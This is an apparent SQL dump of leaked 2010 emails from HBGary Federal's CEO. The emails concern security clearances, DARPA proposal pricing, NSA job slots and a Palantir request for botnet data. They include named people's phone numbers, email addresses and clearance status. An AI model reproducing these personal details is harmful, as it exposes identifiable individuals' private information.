Blvd.\r\nChantilly, VA 20151\r\n703.653.5779 (phone)\r\n\r\n703.633.8460 (fax)\r\n\r\n\r\n\r\n\r\n',15454,'aaron_hbgary_com/15454.html'),(3929,'2010-03-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002060.M619709P3547Q3929.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','Re: Ted Vera','Is this for an ISA or ISSA?AaronOn Mar 11, 2010, at 4:39 PM, Clair, Chris (TASC) wrote:\r\n\r\nHi Aaron,I got this bit of news in the mail.&nbsp; Were you aware of this?&nbsp; We are looking at 16 months to clear him for an initial.&nbsp; How do you want to proceed?Let me know,Chris _____________________________________________\r\nFrom: Willson, Jonathan G (TASC)\r\nSent: Thursday, March 11, 2010 3:19 PM\r\nTo: Clair, Chris (TASC)\r\nCc: Choate, William R (TASC)\r\nSubject: Ted VeraChris,I received a notification from the customer today that they will not be able to crossover Ted Vera’s clearance. They said he must be submitted as an initial case. Please let me know how you would like to proceed.Thanks,Jonathan Willson\r\nPersonnel Security\r\nNorthrop Grumman TASC\r\n4801 Stonecroft Blvd.\r\nChantilly, VA 20151\r\n703.653.5779 (phone)703.633.8460 (fax)\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8465,'aaron_hbgary_com/8465.html'),(3930,'2010-03-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002060.M809771P3547Q3930.eml','\"Bob Slapnik\" <bob@hbgary.com>','NSA Billets','Bob,\r\n\r\nA while back you mentioned some potential NSA billets.  I have a guys with NSA tickets, RE/Malware Analyst that is available if we can find a spot.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',15139,'aaron_hbgary_com/15139.html'),(3931,'2010-03-11','\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>','/aaron@hbgary.com/new/1297002061.M563138P3547Q3931.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,,','Updated RFP Attachment 9 Pricing Template - Cyber Genome Proposal','\r\n\r\n\r\n\r\n\r\nHello \r\nTed,\r\n&nbsp;\r\n\r\nAttached is your updated \r\nAttachment 9 Pricing template that uses a new period of performance beginning \r\nJuly 10.\r\n&nbsp;\r\nPlease disregard the July \r\n1st date I emailed to you earlier today; that is the anticipated Prime Contract \r\naward date and not the date of a subcontract between GDAIS and your \r\ncompany.\r\n\r\nI apologize for any \r\nconfusion.\r\nRegards,\r\nCindy \r\nLarson\r\n',10164,'aaron_hbgary_com/10164.html'),(3932,'2010-03-11','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002061.M866669P3547Q3932.eml','\"Aaron Barr\" <aaron@hbgary.com>,jim.butterworth@guidancesoftware.com','RE: Ft. Meade Billets','Jim,\r\n\r\nRemember the conversation we had about the Navy guy at Fort Meade who had 19\r\nbillets for reverse engineering, etc.  What is the status of that?\r\n\r\nI\'ve copied Aaron Barr, CEO of HBGary Federal.  His full tickets are being\r\nreinstated next week and he has skilled analysts with clearances.\r\n\r\nHere is contact info for each of you so you can speak directly:\r\nAaron Barr / 719-510-8478\r\nJim Butterworth / 626-381-8574\r\n\r\nBob Slapnik  |  Vice President  |  HBGary, Inc.\r\nOffice 301-652-8885 x104  | Mobile 240-481-1419\r\nwww.hbgary.com  |  bob@hbgary.com\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, March 11, 2010 5:04 PM\r\nTo: Bob Slapnik\r\nSubject: NSA Billets\r\n\r\nBob,\r\n\r\nA while back you mentioned some potential NSA billets.  I have a guys with\r\nNSA tickets, RE/Malware Analyst that is available if we can find a spot.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.733 / Virus Database: 271.1.1/2733 - Release Date: 03/11/10\r\n02:33:00\r\n\r\n',14324,'aaron_hbgary_com/14324.html'),(3933,'2010-03-11','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297002062.M121146P3547Q3933.eml','\"Aaron Barr\" <aaron@hbgary.com>','Place of Performance','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI presume the primary Place of Performance for your\r\nwork be in Sacramento.&nbsp; Is this correct and is address the same as the contract\r\naddress for HBGary Federal?\r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5127,'aaron_hbgary_com/5127.html'),(3934,'2010-03-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002064.M338253P3547Q3935.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Place of Performance','From my iPhoneBegin forwarded message:From: &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com&gt;\r\nDate: March 11, 2010 5:36:01 PM ESTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;Subject: Place of Performance\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n \r\n\r\nI presume the primary Place of Performance for your\r\nwork be in Sacramento.  Is this correct and is address the same as the contract\r\naddress for HBGary Federal?\r\n\r\n \r\n\r\nChris\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14729,'aaron_hbgary_com/14729.html'),(3935,'2010-03-11','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002064.M53525P3547Q3934.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: Updated RFP Attachment 9 Pricing Template - Cyber Genome Proposal','Crap.  I have to reprice it again, starting July 10, 2010.\r\n\r\n\r\n\r\n-------- Original Message --------\r\nSubject: Updated RFP Attachment 9 Pricing Template - Cyber Genome Proposal\r\nDate: Thu, 11 Mar 2010 15:26:45 -0700\r\nFrom: Larson, Cindy S. \r\nTo: Ted Vera \r\nCC: Aaron Barr ,	Brunelli, Rex\r\n,	Autry, Errin L. \r\n\r\nHello Ted,\r\n\r\nAttached is your updated Attachment 9 Pricing template that uses a new\r\nperiod of performance beginning July 10.\r\n\r\nPlease disregard the July 1st date I emailed to you earlier today; that\r\nis the anticipated Prime Contract award date and not the date of a\r\nsubcontract between GDAIS and your company.\r\nI apologize for any confusion.\r\n\r\nRegards,\r\n\r\nCindy Larson\r\n\r\n\r\n',3609,'aaron_hbgary_com/3609.html'),(3936,'2010-03-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002064.M557184P3547Q3936.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','Re: Place of Performance','Number came up disconnected againFrom my iPhoneOn Mar 11, 2010, at 5:36 PM, &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n \r\n\r\nI presume the primary Place of Performance for your\r\nwork be in Sacramento.  Is this correct and is address the same as the contract\r\naddress for HBGary Federal?\r\n\r\n \r\n\r\nChris\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6722,'aaron_hbgary_com/6722.html'),(3937,'2010-03-11','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002064.M808064P3547Q3937.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Place of Performance','We knew we\'d have to answer this question sooner or later...  I\'d use\r\nour Sacramento address.  In the narrative we could maybe include a\r\nstatement about telecommuters or something.\r\n\r\n\r\nTed\r\n\r\nOn Thu, Mar 11, 2010 at 3:49 PM, Aaron Barr  wrote:\r\n>\r\n>\r\n> From my iPhone\r\n> Begin forwarded message:\r\n>\r\n> From: \"Starr, Christopher H.\" \r\n> Date: March 11, 2010 5:36:01 PM EST\r\n> To: \"Aaron Barr\" \r\n> Subject: Place of Performance\r\n>\r\n> Aaron,\r\n>\r\n>\r\n>\r\n> I presume the primary Place of Performance for your work be in Sacramento.\r\n> Is this correct and is address the same as the contract address for HBGary\r\n> Federal?\r\n>\r\n>\r\n>\r\n> Chris\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',5515,'aaron_hbgary_com/5515.html'),(3938,'2010-03-12','\"Colleen Ferguson\" <colleen.ferguson@sri.com>','/aaron@hbgary.com/new/1297002065.M188147P3547Q3938.eml','aaron@hbgary.com,\"Ted Vera\" <ted@hbgary.com>','Cyber Genome proposal effort','Hi Aaron and Ted,\r\n\r\nGiven the extension to the DARPA BAA due date, do we need to update our \r\nstart date?  We are currently assuming a June start date.\r\n\r\nAlso, will you be providing an RFP?  I have the SOW that was sent \r\nyesterday and the teaming agreement, but no other documents concerning \r\nthe proposal effort (i.e. proposal requirements, due dates, etc.).  Can \r\nyou please get back to me as soon as possible?\r\n\r\nThanks,\r\nColleen\r\n\r\n-- \r\nColleen R. Ferguson\r\nSr. Contract Administrator\r\nSRI International\r\n(650) 859-4199\r\ncolleen.ferguson@sri.com\r\n\r\n',8973,'aaron_hbgary_com/8973.html'),(3939,'2010-03-12','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297002065.M846409P3547Q3939.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Ted Vera','\r\n\r\n\r\n\r\n\r\nRE: Ted Vera\r\n\r\n\r\n\r\n\r\nI believe he only had a ISA.\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Thu 3/11/2010 5:02 PM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: Ted Vera\r\n\r\nIs this for an ISA or ISSA?\r\n\r\nAaron\r\n\r\nOn Mar 11, 2010, at 4:39 PM, Clair, Chris (TASC) wrote:\r\n\r\n&gt; Hi Aaron,\r\n&gt;\r\n&gt; I got this bit of news in the mail.&nbsp; Were you aware of this?&nbsp; We are looking at 16 months to clear him for an initial.&nbsp; How do you want to proceed?\r\n&gt;\r\n&gt; Let me know,\r\n&gt;\r\n&gt;\r\n&gt; Chris\r\n&gt;\r\n&gt;\r\n&gt; _____________________________________________\r\n&gt; From: Willson, Jonathan G (TASC)\r\n&gt; Sent: Thursday, March 11, 2010 3:19 PM\r\n&gt; To: Clair, Chris (TASC)\r\n&gt; Cc: Choate, William R (TASC)\r\n&gt; Subject: Ted Vera\r\n&gt;\r\n&gt;\r\n&gt; Chris,\r\n&gt;\r\n&gt; I received a notification from the customer today that they will not be able to crossover Ted Vera\'s clearance. They said he must be submitted as an initial case. Please let me know how you would like to proceed.\r\n&gt;\r\n&gt; Thanks,\r\n&gt;\r\n&gt; Jonathan Willson\r\n&gt; Personnel Security\r\n&gt; Northrop Grumman TASC\r\n&gt; 4801 Stonecroft Blvd.\r\n&gt; Chantilly, VA 20151\r\n&gt; 703.653.5779 (phone)\r\n&gt;\r\n&gt; 703.633.8460 (fax)\r\n&gt;\r\n&gt;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16703,'aaron_hbgary_com/16703.html'),(3940,'2010-03-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002066.M320493P3547Q3940.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','Re: Ted Vera','Wow I don\'t understand? &nbsp;He was fully cleared ISA prior to leaving Northrop and had an SCI in JPAS I am pretty sure so it really catches me by surprise that he would need to start from scratch. &nbsp;Do you have any insight from past experience as to why this would be? &nbsp;Is it possible he was submitted for an ISSA like me by accident?I know that customers security is pretty cagey with answers.AaronOn Mar 11, 2010, at 9:26 PM, Clair, Chris (TASC) wrote:\r\n\r\nI believe he only had a ISA.\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Thu 3/11/2010 5:02 PM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: Ted Vera\r\n\r\nIs this for an ISA or ISSA?\r\n\r\nAaron\r\n\r\nOn Mar 11, 2010, at 4:39 PM, Clair, Chris (TASC) wrote:\r\n\r\n&gt; Hi Aaron,\r\n&gt;\r\n&gt; I got this bit of news in the mail.&nbsp; Were you aware of this?&nbsp; We are looking at 16 months to clear him for an initial.&nbsp; How do you want to proceed?\r\n&gt;\r\n&gt; Let me know,\r\n&gt;\r\n&gt;\r\n&gt; Chris\r\n&gt;\r\n&gt;\r\n&gt; _____________________________________________\r\n&gt; From: Willson, Jonathan G (TASC)\r\n&gt; Sent: Thursday, March 11, 2010 3:19 PM\r\n&gt; To: Clair, Chris (TASC)\r\n&gt; Cc: Choate, William R (TASC)\r\n&gt; Subject: Ted Vera\r\n&gt;\r\n&gt;\r\n&gt; Chris,\r\n&gt;\r\n&gt; I received a notification from the customer today that they will not be able to crossover Ted Vera\'s clearance. They said he must be submitted as an initial case. Please let me know how you would like to proceed.\r\n&gt;\r\n&gt; Thanks,\r\n&gt;\r\n&gt; Jonathan Willson\r\n&gt; Personnel Security\r\n&gt; Northrop Grumman TASC\r\n&gt; 4801 Stonecroft Blvd.\r\n&gt; Chantilly, VA 20151\r\n&gt; 703.653.5779 (phone)\r\n&gt;\r\n&gt; 703.633.8460 (fax)\r\n&gt;\r\n&gt;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',9141,'aaron_hbgary_com/9141.html'),(3941,'2010-03-12','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297002066.M851428P3547Q3941.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Ted Vera','\r\n\r\n\r\n\r\n\r\nRE: Ted Vera\r\n\r\n\r\n\r\n\r\nGood point, I\'ll check with our security to make sure he was submitted for ISA.&nbsp; I\'ll get back to you ASAP.&nbsp; I\'d love to start talking about the COIN work.&nbsp;\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Thu 3/11/2010 9:30 PM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: Ted Vera\r\n\r\nWow I don\'t understand?&nbsp; He was fully cleared ISA prior to leaving Northrop and had an SCI in JPAS I am pretty sure so it really catches me by surprise that he would need to start from scratch.&nbsp; Do you have any insight from past experience as to why this would be?&nbsp; Is it possible he was submitted for an ISSA like me by accident?\r\n\r\nI know that customers security is pretty cagey with answers.\r\n\r\nAaron\r\n\r\nOn Mar 11, 2010, at 9:26 PM, Clair, Chris (TASC) wrote:\r\n\r\n&gt; I believe he only had a ISA.\r\n&gt;\r\n&gt; Chris\r\n&gt;\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; Sent: Thu 3/11/2010 5:02 PM\r\n&gt; To: Clair, Chris (TASC)\r\n&gt; Subject: Re: Ted Vera\r\n&gt;\r\n&gt; Is this for an ISA or ISSA?\r\n&gt;\r\n&gt; Aaron\r\n&gt;\r\n&gt; On Mar 11, 2010, at 4:39 PM, Clair, Chris (TASC) wrote:\r\n&gt;\r\n&gt; &gt; Hi Aaron,\r\n&gt; &gt;\r\n&gt; &gt; I got this bit of news in the mail.&nbsp; Were you aware of this?&nbsp; We are looking at 16 months to clear him for an initial.&nbsp; How do you want to proceed?\r\n&gt; &gt;\r\n&gt; &gt; Let me know,\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt; Chris\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt; _____________________________________________\r\n&gt; &gt; From: Willson, Jonathan G (TASC)\r\n&gt; &gt; Sent: Thursday, March 11, 2010 3:19 PM\r\n&gt; &gt; To: Clair, Chris (TASC)\r\n&gt; &gt; Cc: Choate, William R (TASC)\r\n&gt; &gt; Subject: Ted Vera\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt; Chris,\r\n&gt; &gt;\r\n&gt; &gt; I received a notification from the customer today that they will not be able to crossover Ted Vera\'s clearance. They said he must be submitted as an initial case. Please let me know how you would like to proceed.\r\n&gt; &gt;\r\n&gt; &gt; Thanks,\r\n&gt; &gt;\r\n&gt; &gt; Jonathan Willson\r\n&gt; &gt; Personnel Security\r\n&gt; &gt; Northrop Grumman TASC\r\n&gt; &gt; 4801 Stonecroft Blvd.\r\n&gt; &gt; Chantilly, VA 20151\r\n&gt; &gt; 703.653.5779 (phone)\r\n&gt; &gt;\r\n&gt; &gt; 703.633.8460 (fax)\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt;\r\n&gt; Aaron Barr\r\n&gt; CEO\r\n&gt; HBGary Federal Inc.\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16640,'aaron_hbgary_com/16640.html'),(3942,'2010-03-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002067.M369863P3547Q3942.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','Re: Ted Vera','Agreed. &nbsp;Well I believe I am supposed to get briefed on Tuesday at your facility. &nbsp;So anytime after that. &nbsp;Or do I need to go out to the customer facility for any briefings/badging? or does the Tuesday briefing suffice?AaronOn Mar 11, 2010, at 9:45 PM, Clair, Chris (TASC) wrote:\r\n\r\nGood point, I\'ll check with our security to make sure he was submitted for ISA.&nbsp; I\'ll get back to you ASAP.&nbsp; I\'d love to start talking about the COIN work.&nbsp;\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Thu 3/11/2010 9:30 PM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: Ted Vera\r\n\r\nWow I don\'t understand?&nbsp; He was fully cleared ISA prior to leaving Northrop and had an SCI in JPAS I am pretty sure so it really catches me by surprise that he would need to start from scratch.&nbsp; Do you have any insight from past experience as to why this would be?&nbsp; Is it possible he was submitted for an ISSA like me by accident?\r\n\r\nI know that customers security is pretty cagey with answers.\r\n\r\nAaron\r\n\r\nOn Mar 11, 2010, at 9:26 PM, Clair, Chris (TASC) wrote:\r\n\r\n&gt; I believe he only had a ISA.\r\n&gt;\r\n&gt; Chris\r\n&gt;\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; Sent: Thu 3/11/2010 5:02 PM\r\n&gt; To: Clair, Chris (TASC)\r\n&gt; Subject: Re: Ted Vera\r\n&gt;\r\n&gt; Is this for an ISA or ISSA?\r\n&gt;\r\n&gt; Aaron\r\n&gt;\r\n&gt; On Mar 11, 2010, at 4:39 PM, Clair, Chris (TASC) wrote:\r\n&gt;\r\n&gt; &gt; Hi Aaron,\r\n&gt; &gt;\r\n&gt; &gt; I got this bit of news in the mail.&nbsp; Were you aware of this?&nbsp; We are looking at 16 months to clear him for an initial.&nbsp; How do you want to proceed?\r\n&gt; &gt;\r\n&gt; &gt; Let me know,\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt; Chris\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt; _____________________________________________\r\n&gt; &gt; From: Willson, Jonathan G (TASC)\r\n&gt; &gt; Sent: Thursday, March 11, 2010 3:19 PM\r\n&gt; &gt; To: Clair, Chris (TASC)\r\n&gt; &gt; Cc: Choate, William R (TASC)\r\n&gt; &gt; Subject: Ted Vera\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt; Chris,\r\n&gt; &gt;\r\n&gt; &gt; I received a notification from the customer today that they will not be able to crossover Ted Vera\'s clearance. They said he must be submitted as an initial case. Please let me know how you would like to proceed.\r\n&gt; &gt;\r\n&gt; &gt; Thanks,\r\n&gt; &gt;\r\n&gt; &gt; Jonathan Willson\r\n&gt; &gt; Personnel Security\r\n&gt; &gt; Northrop Grumman TASC\r\n&gt; &gt; 4801 Stonecroft Blvd.\r\n&gt; &gt; Chantilly, VA 20151\r\n&gt; &gt; 703.653.5779 (phone)\r\n&gt; &gt;\r\n&gt; &gt; 703.633.8460 (fax)\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt;\r\n&gt; Aaron Barr\r\n&gt; CEO\r\n&gt; HBGary Federal Inc.\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',13694,'aaron_hbgary_com/13694.html'),(3943,'2010-03-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002067.M694355P3547Q3943.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Ted Vera','Begin forwarded message:From: \"Clair, Chris (TASC)\" &lt;CHRISTOPHER.CLAIR@tasc.com&gt;Date: March 11, 2010 9:45:55 PM ESTTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Subject: RE: Ted Vera\r\n\r\nGood point, I\'ll check with our security to make sure he was submitted for ISA.&nbsp; I\'ll get back to you ASAP.&nbsp; I\'d love to start talking about the COIN work.&nbsp;\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Thu 3/11/2010 9:30 PM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: Ted Vera\r\n\r\nWow I don\'t understand?&nbsp; He was fully cleared ISA prior to leaving Northrop and had an SCI in JPAS I am pretty sure so it really catches me by surprise that he would need to start from scratch.&nbsp; Do you have any insight from past experience as to why this would be?&nbsp; Is it possible he was submitted for an ISSA like me by accident?\r\n\r\nI know that customers security is pretty cagey with answers.\r\n\r\nAaron\r\n\r\nOn Mar 11, 2010, at 9:26 PM, Clair, Chris (TASC) wrote:\r\n\r\n&gt; I believe he only had a ISA.\r\n&gt;\r\n&gt; Chris\r\n&gt;\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; Sent: Thu 3/11/2010 5:02 PM\r\n&gt; To: Clair, Chris (TASC)\r\n&gt; Subject: Re: Ted Vera\r\n&gt;\r\n&gt; Is this for an ISA or ISSA?\r\n&gt;\r\n&gt; Aaron\r\n&gt;\r\n&gt; On Mar 11, 2010, at 4:39 PM, Clair, Chris (TASC) wrote:\r\n&gt;\r\n&gt; &gt; Hi Aaron,\r\n&gt; &gt;\r\n&gt; &gt; I got this bit of news in the mail.&nbsp; Were you aware of this?&nbsp; We are looking at 16 months to clear him for an initial.&nbsp; How do you want to proceed?\r\n&gt; &gt;\r\n&gt; &gt; Let me know,\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt; Chris\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt; _____________________________________________\r\n&gt; &gt; From: Willson, Jonathan G (TASC)\r\n&gt; &gt; Sent: Thursday, March 11, 2010 3:19 PM\r\n&gt; &gt; To: Clair, Chris (TASC)\r\n&gt; &gt; Cc: Choate, William R (TASC)\r\n&gt; &gt; Subject: Ted Vera\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt; Chris,\r\n&gt; &gt;\r\n&gt; &gt; I received a notification from the customer today that they will not be able to crossover Ted Vera\'s clearance. They said he must be submitted as an initial case. Please let me know how you would like to proceed.\r\n&gt; &gt;\r\n&gt; &gt; Thanks,\r\n&gt; &gt;\r\n&gt; &gt; Jonathan Willson\r\n&gt; &gt; Personnel Security\r\n&gt; &gt; Northrop Grumman TASC\r\n&gt; &gt; 4801 Stonecroft Blvd.\r\n&gt; &gt; Chantilly, VA 20151\r\n&gt; &gt; 703.653.5779 (phone)\r\n&gt; &gt;\r\n&gt; &gt; 703.633.8460 (fax)\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt;\r\n&gt; Aaron Barr\r\n&gt; CEO\r\n&gt; HBGary Federal Inc.\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11817,'aaron_hbgary_com/11817.html'),(3944,'2010-03-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002068.M585360P3547Q3945.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Re: Datasets','Matt. &nbsp;I can\'t remember but did u say you were in NTOC or not in NTOC? &nbsp;I think you said not.Not sure if you heard but NTOC is re-competing the contract a few years early. &nbsp;Lots of speculation as to why, most of it coming back as BAH is underperforming. &nbsp;CSC and ManTech have reached out to us for potential teaming for the proposal, both of whom I have talked to about the Threat Intelligence concept, so stay tuned.Also I am going to go see 1st IO jointly with Fidelis to talk about our joint capabilities for malware/network analysis and protection. &nbsp;I plan to discuss Threat Intelligence with them as well.Both Brian and I have been off the Threat Intelligence rails the last few weeks working the DARPA proposal, which has been extended until Mar 29th. &nbsp;I am going to have a conversation with him tomorrow on our path forward for GovCon. &nbsp;Neither of us want to put anything out there (and I am sure you don\'t either) unless it is ready for prime time. &nbsp;Will let you know.AaronOn Mar 11, 2010, at 12:47 PM, Aaron Zollman wrote:Aaron –&nbsp;Just to close the loop, we met with Fidelis at the RSA conference and may try to explore what a partnership would look like. We don’t have quite the pressing need for data anymore, so we have some time. Thanks again for the introduction.&nbsp;_________________________________________________________Aaron ZollmanPalantir Technologies | Embedded Analystazollman@palantirtech.com&nbsp;| 202-684-8066&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, February 23, 2010 4:43 AMTo:&nbsp;Aaron ZollmanCc:&nbsp;Matthew SteckmanSubject:&nbsp;Re: Datasets&nbsp;Aaron,&nbsp;Sorry for the delay. &nbsp;We don\'t keep network data around turns out, but Rich (CTO) is checking with some other partners to see if we can get some (Fidelis and Netwitness). &nbsp;I will let you know shortly.&nbsp;That said, we kicked off the Threat Intelligence Center work last Friday. &nbsp;As part of this effort we are going to start collecting proxy/network/netflow data.&nbsp;Aaron&nbsp;On Feb 19, 2010, at 12:41 PM, Aaron Zollman wrote:Hello Aaron B!&nbsp;I met Greg and (I think) Rich and Shaun in Sacramento on Tuesday to help introduce them to the platform; it was great to learn more about how you track and respond to coordinated attacks.&nbsp;Right now, I’m trying to model a fast-flux coordinated botnet in Palantir and show how someone with access to a good amount of passive DNS or proxy traffic can build a visual picture of the nodes involved in coordination, and how control and activity transfer over time.&nbsp;Rather than try and mock up a dataset from scratch, do you guys have some historical logs to share, say from a few days of Storm, that might make for a more believable or accurate model?&nbsp;Thanks –&nbsp; Aaron Z.&nbsp;&nbsp;_________________________________________________________Aaron ZollmanPalantir Technologies | Embedded Analystazollman@palantirtech.com&nbsp;| 202-684-8066&nbsp;From:&nbsp;Matthew Steckman&nbsp;Sent:&nbsp;Friday, February 19, 2010 6:31 AMTo:&nbsp;Aaron BarrCc:&nbsp;Aaron ZollmanSubject:&nbsp;Datasets&nbsp;Aaron,&nbsp;Id like to introduce you to one of our cyber technical SMEs, Aaron Zollman.&nbsp; Do you think you could work with him to get us some mock datasets to play around with in Palantir?&nbsp;Ill let him pick up the thread from here, you should see an email from him with a description of what we’re looking for sometime today.&nbsp;Thanks,Matt&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com&nbsp;| 202-257-2270&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11977,'aaron_hbgary_com/11977.html'),(3945,'2010-03-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002068.M61124P3547Q3944.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','Re: Place of Performance','Can we only have 1 place of performance?AaronOn Mar 11, 2010, at 5:36 PM, Starr, Christopher H. wrote:Aaron,&nbsp;I presume the primary&nbsp;Place of Performance&nbsp;for your work be in Sacramento.&nbsp; Is this correct and is address the same as the contract address for HBGary Federal?&nbsp;Chris\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',15099,'aaron_hbgary_com/15099.html'),(3946,'2010-03-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002068.M855288P3547Q3946.eml','\"Ted Vera\" <ted@hbgary.com>','Key','\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',15570,'aaron_hbgary_com/15570.html'),(3947,'2010-03-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002069.M297103P3547Q3947.eml','\"Aaron Barr\" <aaron@hbgary.com>','My public key','Attached\r\n\r\n',5626,'aaron_hbgary_com/5626.html'),(3948,'2010-03-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002069.M681436P3547Q3948.eml','\"Ted Vera\" <ted@hbgary.com>','key','-----BEGIN PGP SIGNED 